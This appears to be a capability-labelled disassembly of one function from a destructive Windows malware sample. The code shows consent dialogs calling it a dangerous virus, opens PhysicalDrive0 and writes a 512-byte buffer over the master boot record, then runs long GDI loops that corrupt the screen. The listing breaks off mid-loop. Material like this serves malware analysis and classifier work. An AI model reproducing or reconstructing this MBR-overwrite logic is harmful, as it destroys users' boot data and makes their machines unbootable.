Function at 0x4011a0
Capabilities:
Capture screenshot
Encrypt data using rc4 ksa
Execute command
Read file on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403c9b
mov eax, dword fs:[0]
push eax
sub esp, 0x4a4
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x498], ecx
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push 0x40034
push str.Poit.exe
push str.Warning___nThis_virus_is_Dangerous_virus__nThis_Virus_is_can_be_overwrite_MBR_and_System_Files__nThis_virus_is_maked_only_educational__nyou_really_start_this_vius_
push 0
call esi
cmp eax, 6
jne 0x402776
push 0x40034
push str.Poit.exe
push str.Last_Warning___nThis_virus_is_Really_Dangerous_virus__nThis_Virus_is_can_be_overwrite_MBR_and_System_Files__nThis_virus_is_maked_only_educational__nyou_want_really_start_this_vius_
push 0
call esi
cmp eax, 6
jne 0x402776
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
mov dword [ebp - 0x480], eax
call esi
push 1
mov dword [ebp - 0x46c], eax
call esi
push 0
mov dword [ebp - 0x464], eax
call esi
push 1
call esi
push 0x12
xor eax, eax
mov dword [ebp - 0x458], 0
push str..PhysicalDrive0
lea ecx, [ebp - 0x458]
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x444], 7
mov word [ebp - 0x458], ax
call fcn.004027e0
push 0
push 0x80
push 3
push 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x458]
cmp dword [ebp - 0x444], 8
push 0
cmovae eax, dword [ebp - 0x458]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x45c], esi
cmp esi, 0xffffffff
jne 0x4012e6
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_open_the_MBR_file.
push 0x402b70
call fcn.00402930
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push 0x1b
xor eax, eax
mov dword [ebp - 0x440], 0
push str.Thanks_for_using_this_virus
lea ecx, [ebp - 0x440]
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x42c], 7
mov word [ebp - 0x440], ax
call fcn.004027e0
mov byte [ebp - 4], 1
xor ecx, ecx
mov edx, dword [ebp - 0x430]
mov edi, dword [ebp - 0x440]
test edx, edx
je 0x40135f
nop word [eax + eax]
cmp dword [ebp - 0x42c], 8
lea eax, [ebp - 0x440]
cmovae eax, edi
mov al, byte [eax + ecx*2]
mov byte [ebp + ecx - 0x410], al
inc ecx
cmp ecx, edx
jb 0x401340
push 0
lea eax, [ebp - 0x4ac]
push eax
push 0x200
lea eax, [ebp - 0x210]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x4013b3
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_read_the_MBR_data.
push 0x402b70
call fcn.00402930
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push esi
call edi
cmp dword [ebp - 0x4ac], 0x200
je 0x4013ed
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_read_the_full_MBR_data.
push 0x402b70
call fcn.00402930
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push esi
call edi
push 0
lea eax, [ebp - 0x4b0]
mov ecx, 0x80
push eax
push 0x200
lea esi, [ebp - 0x410]
lea edi, [ebp - 0x210]
lea eax, [ebp - 0x210]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x45c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40145c
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_write_the_MBR_data.
push 0x402b70
call fcn.00402930
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 4
push esi
call edi
jmp 0x401462
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x4b0], 0x200
je 0x40149c
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_write_the_full_MBR_data.
push 0x402b70
call fcn.00402930
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push esi
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
push 0x402dc0
call fcn.00402ba0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
push esi
call edi
mov esi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, dword [ebp - 0x480]
mov dword [ebp - 0x494], 0x32
nop dword [eax]
lea eax, [ebp - 0x47c]
xorps xmm0, xmm0
push eax
push section..text
push 0
push 0
movups xmmword [ebp - 0x47c], xmm0
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x490]
xorps xmm0, xmm0
push eax
push section..text
push 0
push 0
movups xmmword [ebp - 0x490], xmm0
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
mov ecx, dword [ebp - 0x488]
sub ecx, dword [ebp - 0x490]
mov eax, dword [ebp - 0x484]
sub eax, dword [ebp - 0x48c]
push 0
push 0
push 0
push eax
mov dword [ebp - 0x45c], eax
mov dword [ebp - 0x414], eax
lea eax, [ecx + 0x19]
push eax
push dword [ebp - 0x478]
lea eax, [ebp - 0x428]
mov dword [ebp - 0x4a4], ecx
push dword [ebp - 0x47c]
mov dword [ebp - 0x428], 0
push edi
push eax
push edi
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x420], ecx
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0x19
call dword [sym.imp.GDI32.dll_PlgBlt]
call esi
and eax, 0x800000ff
jns 0x40159e
dec eax
or eax, 0xffffff00
inc eax
movzx esi, al
mov eax, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
shl esi, 8
call eax
and eax, 0x800000ff
jns 0x4015b9
dec eax
or eax, 0xffffff00
inc eax
movzx edi, al
or edi, esi
mov esi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
shl edi, 8
call esi
and eax, 0x800000ff
jns 0x4015d7
dec eax
or eax, 0xffffff00
inc eax
movzx eax, al
or eax, edi
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov edi, dword [ebp - 0x480]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x5a0049
push dword [ebp - 0x45c]
push dword [ebp - 0x4a4]
push dword [ebp - 0x478]
push dword [ebp - 0x47c]
push edi
call dword [sym.imp.GDI32.dll_PatBlt]
push 0x7f03
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
push eax
call esi
cdq
idiv dword [ebp - 0x464]
push edx
call esi
cdq
idiv dword [ebp - 0x46c]
push edx
push edi
call dword [sym.imp.USER32.dll_DrawIcon]
push 0x7f01
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
push eax
call esi
cdq
idiv dword [ebp - 0x464]
push edx
call esi
cdq
idiv dword [ebp - 0x46c]
push edx
push edi
call dword [sym.imp.USER32.dll_DrawIcon]
push 0x7f04
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
push eax
call esi
cdq
idiv dword [ebp - 0x464]
push edx
call esi
cdq
idiv dword [ebp - 0x46c]
push edx
push edi
call dword [sym.imp.USER32.dll_DrawIcon]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
push eax
call esi
cdq
idiv dword [ebp - 0x464]
push edx
call esi
cdq
idiv dword [ebp - 0x46c]
push edx
push edi
call dword [sym.imp.USER32.dll_DrawIcon]
push 0x7f02
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
push eax
call esi
cdq
idiv dword [ebp - 0x464]
push edx
call esi
cdq
idiv dword [ebp - 0x46c]
push edx
push edi
call dword [sym.imp.USER32.dll_DrawIcon]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp - 0x494], 1
jne 0x4014d0
mov dword [ebp - 0x45c], 0x64
mov esi, dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x490]
push eax
push section..text
push 0
xorps xmm0, xmm0
push 0
movups xmmword [ebp - 0x490], xmm0
call esi
lea eax, [ebp - 0x47c]
xorps xmm0, xmm0
push eax
push section..text
push 0
push 0
movups xmmword [ebp - 0x47c], xmm0
call esi
mov eax, dword [ebp - 0x474]
sub eax, dword [ebp - 0x47c]
mov dword [ebp - 0x4a0], eax
mov eax, dword [ebp - 0x470]
sub eax, dword [ebp - 0x478]
push edi
mov dword [ebp - 0x49c], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebp - 0x49c]
mov esi, eax
push dword [ebp - 0x4a0]
mov dword [ebp - 0x4a4], esi
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push esi
mov dword [ebp - 0x460], eax
call dword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [ebp - 0x48c]
mov eax, dword [ebp - 0x490]
push 0xcc0020
push ecx
push eax
push edi
push dword [ebp - 0x49c]
push dword [ebp - 0x4a0]
push ecx
push eax
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, 0x66666667
imul dword [ebp - 0x4a0]
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x490]
cmp edx, ecx
jg 0x401895
mov eax, 0x66666667
imul dword [ebp - 0x49c]
sar edx, 2
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [ebp - 0x490]
sub ecx, edx
mov dword [ebp - 0x468], edi
lea eax, [edx + edx*4]
add eax, eax
inc ecx
mov dword [ebp - 0x494], ecx
mov ecx, dword [ebp - 0x48c]
mov edx, dword [ebp - 0x494]
mov dword [ebp - 0x4a8], eax
cmp ecx, edi
jg 0x40186f
lea esi, [ecx + ecx*4]
sub edi, ecx
add esi, esi
inc edi
nop dword [eax]
mov ecx, dword [ebp - 0x4a4]
push 0xcc0020
push 1
push 1
push esi
push eax
push ecx
push 0xa
push 0xa
push esi
push eax
push ecx
call dword [sym.imp.GDI32.dll_StretchBlt]
mov eax, dword [ebp - 0x4a8]
add esi, 0xa
sub edi, 1
jne 0x401830
mov ecx, dword [ebp - 0x48c]
mov edx, dword [ebp - 0x494]
mov edi, dword [ebp - 0x468]
add eax, 0xa
sub edx, 1
mov dword [ebp - 0x4a8], eax
mov dword [ebp - 0x494], edx
jne 0x401820
mov esi, dword [ebp - 0x4a4]
mov edi, dword [ebp - 0x480]
mov edx, dword [ebp - 0x490]
mov eax, dword [ebp - 0x48c]
push 0xcc0020
push eax
push edx
push esi
push dword [ebp - 0x49c]
push dword [ebp - 0x4a0]
push eax
push edx
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
push esi
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
call esi
push dword [ebp - 0x460]
call esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp - 0x45c], 1
jne 0x401701
mov dword [ebp - 0x45c], 0x1f4
nop dword [eax + eax]
mov esi, dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x490]
push eax
push section..text
push 0
xorps xmm0, xmm0
push 0
movups xmmword [ebp - 0x490], xmm0
call esi
lea eax, [ebp - 0x47c]
xorps xmm0, xmm0
push eax
push section..text
push 0
push 0
movups xmmword [ebp - 0x47c], xmm0
call esi
mov eax, dword [ebp - 0x474]
sub eax, dword [ebp - 0x47c]
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0x470]
sub eax, dword [ebp - 0x478]
mov dword [ebp - 0x460], eax
call edi
and eax, 0x800000ff
jns 0x401968
dec eax
or eax, 0xffffff00
inc eax
movzx esi, al
shl esi, 8
call edi
and eax, 0x800000ff
jns 0x40197e
dec eax
or eax, 0xffffff00
inc eax
movzx edi, al
mov eax, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
or edi, esi
shl edi, 8
call eax
and eax, 0x800000ff
jns 0x40199b
dec eax
or eax, 0xffffff00
inc eax
movzx eax, al
or eax, edi
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov edi, dword [ebp - 0x480]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x5a0049
push dword [ebp - 0x460]
push dword [ebp - 0x468]
push dword [ebp - 0x48c]
push dword [ebp - 0x490]
push edi
call dword [sym.imp.GDI32.dll_PatBlt]
push 0xf
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp - 0x45c], 1
jne 0x4018f0
mov dword [ebp - 0x45c], 0x32
nop dword [eax + eax]
mov esi, dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x490]
push eax
push section..text
push 0
xorps xmm0, xmm0
push 0
movups xmmword [ebp - 0x490], xmm0
call esi
lea eax, [ebp - 0x47c]
xorps xmm0, xmm0
push eax
push section..text
push 0
push 0
movups xmmword [ebp - 0x47c], xmm0
call esi
mov eax, dword [ebp - 0x498]
mov ecx, dword [ebp - 0x470]
sub ecx, dword [ebp - 0x478]
mov esi, dword [ebp - 0x474]
lea eax, [eax + eax*4]
sub esi, dword [ebp - 0x47c]
add eax, eax
mov dword [ebp - 0x460], ecx
mov dword [ebp - 0x498], eax
cdq
idiv ecx
mov ecx, dword [ebp - 0x48c]
mov eax, dword [ebp - 0x498]
add edx, ecx
push 0x1100a6
push edx
cdq
idiv esi
mov eax, dword [ebp - 0x490]
add edx, eax
mov dword [ebp - 0x468], esi
push edx
push edi
push dword [ebp - 0x464]
push dword [ebp - 0x46c]
push ecx
push eax
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
call edi
and eax, 0x800000ff
jns 0x401ac2
dec eax
or eax, 0xffffff00
inc eax
movzx esi, al
shl esi, 8
call edi
and eax, 0x800000ff
jns 0x401ad8
dec eax
or eax, 0xffffff00
inc eax
movzx edi, al
mov eax, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
or edi, esi
shl edi, 8
call eax
and eax, 0x800000ff
jns 0x401af5
dec eax
or eax, 0xffffff00
inc eax
movzx eax, al
or eax, edi
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov edi, dword [ebp - 0x480]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x5a0049
push dword [ebp - 0x460]
push dword [ebp - 0x468]
push dword [ebp - 0x48c]
push dword [ebp - 0x490]
push edi
call dword [sym.imp.GDI32.dll_PatBlt]
push 0xf
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp - 0x45c], 1
jne 0x401a00
mov dword [ebp - 0x45c], 0x32
mov esi, dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x490]
push eax
push section..text
push 0
xorps xmm0, xmm0
push 0
movups xmmword [ebp - 0x490], xmm0
call esi
lea eax, [ebp - 0x47c]
xorps xmm0, xmm0
push eax
push section..text
push 0
push 0
movups xmmword [ebp - 0x47c], xmm0
call esi
mov ecx, dword [ebp - 0x470]
sub ecx, dword [ebp - 0x478]
mov eax, dword [ebp - 0x498]
cdq
idiv ecx
mov ecx, dword [ebp - 0x48c]
mov esi, dword [ebp - 0x474]
add edx, ecx
mov eax, dword [ebp - 0x498]
sub esi, dword [ebp - 0x47c]
push 0xcc0020
push edx
cdq
idiv esi
mov eax, dword [ebp - 0x490]
add edx, eax
push edx
push edi
push dword [ebp - 0x464]
push dword [ebp - 0x46c]
push ecx
push eax
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
call edi
and eax, 0x800000ff
jns 0x401bfd
dec eax
or eax, 0xffffff00
inc eax
movzx esi, al
shl esi, 8
call edi
and eax, 0x800000ff
jns 0x401c13
dec eax
or eax, 0xffffff00
inc eax
movzx edi, al
or edi, esi
mov esi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
shl edi, 8
call esi
and eax, 0x800000ff
jns 0x401c31
dec eax
or eax, 0xffffff00
inc eax
movzx eax, al
or eax, edi
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov edi, dword [ebp - 0x480]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x5a0049
push dword [ebp - 0x464]
push dword [ebp - 0x46c]
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_PatBlt]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp - 0x45c], 1
jne 0x401b52
mov dword [ebp - 0x45c], 0x15e
jmp 0x401c96
mov esi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x47c]
push eax
push section..text
push 0
xorps xmm0, xmm0
push 0
movups xmmword [ebp - 0x47c], xmm0
call edi
lea eax, [ebp - 0x47c]
xorps xmm0, xmm0
push eax
push section..text
push 0
push 0
movups xmmword [ebp - 0x47c], xmm0
call edi
call esi
cdq
mov edi, 0xff
idiv edi
mov eax, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx esi, dl
shl esi, 8
call eax
cdq
idiv edi
movzx edi, dl
or edi, esi
shl edi, 8
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
movzx eax, dl
or eax, edi
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov esi, dword [ebp - 0x480]
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x89345c
push 5
push 5
push esi
push dword [ebp - 0x464]
push dword [ebp - 0x46c]
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp - 0x45c], 1
jne 0x401c90
mov dword [ebp - 0x45c], 0x32
nop
mov esi, dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x490]
push eax
push section..text
push 0
xorps xmm0, xmm0
push 0
movups xmmword [ebp - 0x490], xmm0
call esi
lea eax, [ebp - 0x47c]
xorps xmm0, xmm0
push eax
push section..text
push 0
push 0
movups xmmword [ebp - 0x47c], xmm0
call esi
mov ecx, dword [ebp - 0x474]
sub ecx, dword [ebp - 0x47c]
mov eax, dword [ebp - 0x470]
sub eax, dword [ebp - 0x478]
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [ebp - 0x468], ecx
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x420], ecx
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0x19
mov dword [ebp - 0x414], eax
call edi
cdq
mov ecx, 0xff
idiv ecx
movzx esi, dl
shl esi, 8
call edi
cdq
mov ecx, 0xff
idiv ecx
movzx edi, dl
or edi, esi
shl edi, 8
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
movzx eax, dl
or eax, edi
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov esi, dword [ebp - 0x480]
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x5a0049
push dword [ebp - 0x460]
push dword [ebp - 0x468]
push dword [ebp - 0x48c]
push dword [ebp - 0x490]
push esi
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp - 0x46c]
lea eax, [ebp - 0x428]
push 0
push 0
push 0
push dword [ebp - 0x464]
push edi
push 8
push 8
push esi
push eax
push esi
call dword [sym.imp.GDI32.dll_PlgBlt]
push 0
push 0
push 0
push dword [ebp - 0x464]
push edi
push 0xfffffffffffffff8
push 0xfffffffffffffff8
push esi
lea eax, [ebp - 0x428]
push eax
push esi
call dword [sym.imp.GDI32.dll_PlgBlt]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp - 0x45c], 1
jne 0x401d60
mov dword [ebp - 0x45c], 0x64
nop
mov esi, dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x490]
push eax
push section..text
push 0
xorps xmm0, xmm0
push 0
movups xmmword [ebp - 0x490], xmm0
call esi
lea eax, [ebp - 0x47c]
xorps xmm0, xmm0
push eax
push section..text
push 0
push 0
movups xmmword [ebp - 0x47c], xmm0
call esi
mov ecx, dword [ebp - 0x474]
sub ecx, dword [ebp - 0x47c]
mov eax, dword [ebp - 0x470]
sub eax, dword [ebp - 0x478]
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [ebp - 0x468], ecx
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x420], ecx
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0x19
mov dword [ebp - 0x414], eax
call edi
cdq
mov ecx, 0xff
idiv ecx
movzx esi, dl
shl esi, 8
call edi
cdq
mov ecx, 0xff
idiv ecx
movzx edi, dl
or edi, esi
shl edi, 8
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
movzx eax, dl
or eax, edi
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov esi, dword [ebp - 0x480]
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x5a0049
push dword [ebp - 0x460]
push dword [ebp - 0x468]
push dword [ebp - 0x48c]
push dword [ebp - 0x490]
push esi
call dword [sym.imp.GDI32.dll_PatBlt]
push 0
push 0
push 0
push dword [ebp - 0x464]
lea eax, [ebp - 0x428]
push dword [ebp - 0x46c]
push 8
push 8
push esi
push eax
push esi
call dword [sym.imp.GDI32.dll_PlgBlt]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp - 0x45c], 1
jne 0x401ed0
mov dword [ebp - 0x45c], 0x1f4
nop
mov esi, dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x490]
push eax
push section..text
push 0
xorps xmm0, xmm0
push 0
movups xmmword [ebp - 0x490], xmm0
call esi
lea eax, [ebp - 0x47c]
xorps xmm0, xmm0
push eax
push section..text
push 0
push 0
movups xmmword [ebp - 0x47c], xmm0
call esi
mov eax, dword [ebp - 0x474]
sub eax, dword [ebp - 0x47c]
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0x470]
sub eax, dword [ebp - 0x478]
mov dword [ebp - 0x460], eax
call edi
cdq
mov ecx, 0xff
idiv ecx
movzx esi, dl
shl esi, 8
call edi
cdq
mov ecx, 0xff
idiv ecx
movzx edi, dl
or edi, esi
shl edi, 8
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
movzx eax, dl
or eax, edi
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov esi, dword [ebp - 0x480]
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x5a0049
push dword [ebp - 0x460]
push dword [ebp - 0x468]
push dword [ebp - 0x48c]
push dword [ebp - 0x490]
push esi
call dword [sym.imp.GDI32.dll_PatBlt]
mov ecx, dword [ebp - 0x464]
mov eax, dword [ebp - 0x46c]
push 0xcc0020
push ecx
push eax
push 0
push 0xfffffed4
push esi
push ecx
push eax
push 0
push 0x12c
push esi
call dword [sym.imp.GDI32.dll_StretchBlt]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp - 0x45c], 1
jne 0x402020
mov dword [ebp - 0x45c], 0x64
mov esi, dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x490]
push eax
push section..text
push 0
xorps xmm0, xmm0
push 0
movups xmmword [ebp - 0x490], xmm0
call esi
lea eax, [ebp - 0x47c]
xorps xmm0, xmm0
push eax
push section..text
push 0
push 0
movups xmmword [ebp - 0x47c], xmm0
call esi
mov eax, dword [ebp - 0x474]
sub eax, dword [ebp - 0x47c]
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0x470]
sub eax, dword [ebp - 0x478]
mov dword [ebp - 0x460], eax
call edi
cdq
mov ecx, 0xff
idiv ecx
movzx esi, dl
shl esi, 8
call edi
cdq
mov ecx, 0xff
idiv ecx
movzx edi, dl
or edi, esi
shl edi, 8
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
movzx eax, dl
or eax, edi
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov edi, dword [ebp - 0x480]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x5a0049
push dword [ebp - 0x460]
push dword [ebp - 0x468]
push dword [ebp - 0x48c]
push dword [ebp - 0x490]
push edi
call dword [sym.imp.GDI32.dll_PatBlt]
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebp - 0x464]
mov esi, eax
push dword [ebp - 0x46c]
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
mov esi, dword [ebp - 0x46c]
push 0xcc0020
push 0
push 0
push edi
push dword [ebp - 0x464]
push esi
push 5
push 5
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0xcc0020
push 5
push 5
push edi
push dword [ebp - 0x464]
push esi
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp - 0x45c], 1
jne 0x402140
mov dword [ebp - 0x45c], 0x46
nop word [eax + eax]
mov esi, dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x490]
push eax
push section..text
push 0
xorps xmm0, xmm0
push 0
movups xmmword [ebp - 0x490], xmm0
call esi
lea eax, [ebp - 0x47c]
xorps xmm0, xmm0
push eax
push section..text
push 0
push 0
movups xmmword [ebp - 0x47c], xmm0
call esi
mov eax, dword [ebp - 0x474]
sub eax, dword [ebp - 0x47c]
mov edi, dword [ebp - 0x470]
sub edi, dword [ebp - 0x478]
mov dword [ebp - 0x460], eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
movzx esi, dl
shl esi, 8
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
movzx eax, dl
or eax, esi
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov esi, dword [ebp - 0x480]
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x5a0049
push edi
push dword [ebp - 0x460]
push dword [ebp - 0x48c]
push dword [ebp - 0x490]
push esi
